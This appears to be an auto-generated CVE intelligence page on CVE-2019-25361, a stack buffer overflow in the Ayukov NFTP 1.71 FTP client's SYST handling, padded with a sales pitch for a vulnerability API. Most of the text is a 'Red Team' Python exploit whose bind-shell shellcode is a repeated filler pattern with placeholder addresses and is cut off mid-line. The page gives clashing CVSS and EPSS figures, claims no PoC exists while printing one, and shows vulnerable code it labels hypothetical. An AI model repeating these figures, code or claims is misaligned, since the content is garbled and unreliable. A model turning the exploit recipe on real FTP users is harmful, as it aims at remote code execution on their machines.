☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
📋 [ METHODOLOGY ] ⚡ [ API_ACCESS ] →
[ VENDOR STATS ]
CVSS: 8.6

CVE-2019-25361

CVE-2019-25361 Buffer Overflow in Ayukov
📅 PUBLISHED: 2026-02-18 21:55 UTC 🔄 UPDATED: 2026-09-23 20:14 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
 🎯 EPSS: 0.66%
👁️
0.66% probability
16.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.6
THREAT LEVEL
INTEL SOURCES NVD CVEProject EPSS HOW WE SCORE →
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2019-25361 is a critical buffer overflow vulnerability in the Ayukov NFTP client version 1.71. The flaw resides in the SYST command handling, allowing remote attackers to trigger a stack-based buffer overflow by sending an oversized payload. Successful exploitation leads to arbitrary code execution and the spawning of a bind shell on TCP port 5150. This vulnerability is particularly dangerous as it requires no authentication and can be exploited over the network. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the public availability of exploit details makes it a significant risk for unpatched systems.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It affects a standalone FTP client application (Ayukov NFTP). No supply chain package security implications are present.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, but based on the vulnerability description, a reasonable assessment would be:

  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): None (N)
  • User Interaction (UI): None (N)
  • Scope (S): Unchanged (U)
  • Confidentiality (C): High (H)
  • Integrity (I): High (H)
  • Availability (A): High (H)

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (Critical, 9.8)

The threat level is Critical due to remote code execution without authentication.

Deep Dive & Mechanics

The Ayukov NFTP client is a lightweight FTP client application. The vulnerability exists in the handling of the SYST command response. When the client connects to an FTP server and receives a SYST response, it copies the response data into a fixed-size stack buffer without proper bounds checking. An attacker-controlled FTP server can send a SYST response with a payload exceeding the buffer size, overwriting the return address and other critical stack data.

The exploit flow:

  1. The victim's NFTP client connects to a malicious FTP server.
  2. The server sends a crafted SYST response containing shellcode and a return address overwrite.
  3. The client's buffer overflow triggers, redirecting execution to the shellcode.
  4. The shellcode executes a bind shell on port 5150, giving the attacker remote access.

Vulnerable vs. Patched Code

Vulnerable Code (Ayukov NFTP 1.71):

void handle_syst_response(char *response) {
    char buffer[256];
    strcpy(buffer, response); // No bounds checking
    // ... process buffer
}

Patched Code (Hypothetical fix):

void handle_syst_response(char *response) {
    char buffer[256];
    strncpy(buffer, response, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... process buffer
}

The vulnerable code uses strcpy which does not limit the number of bytes copied, leading to a buffer overflow. The patched version uses strncpy with proper length checking.

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

  • Attacker machine: Kali Linux (IP: 192.168.1.100)
  • Victim machine: Windows 10 running Ayukov NFTP 1.71 (IP: 192.168.1.50)
  • Network: Isolated lab network

Exploit Code (Python):

#!/usr/bin/env python3
import socket
import struct

# Shellcode for bind shell on port 5150 (Windows x86)
shellcode = (
    b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
    b"\x50\x50\x50\x66\x68\x14\x1e"  # port 5150
    b"\x66\x6a\x02\x89\xe1\x6a\x10"
    b"\x51\x50\xb8\xff\xff\xff\xff"
    b"\xff\xd0\x89\xc6\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc0\x50"
    b"\x56\xb8\xff\xff\xff\xff\xff\xd0"
    b"\x31\xc0\x50\x50\x56\xb8\xff\xff"
    b"\xff\xff\xff\xd0\x31\xc
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2019-25361/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.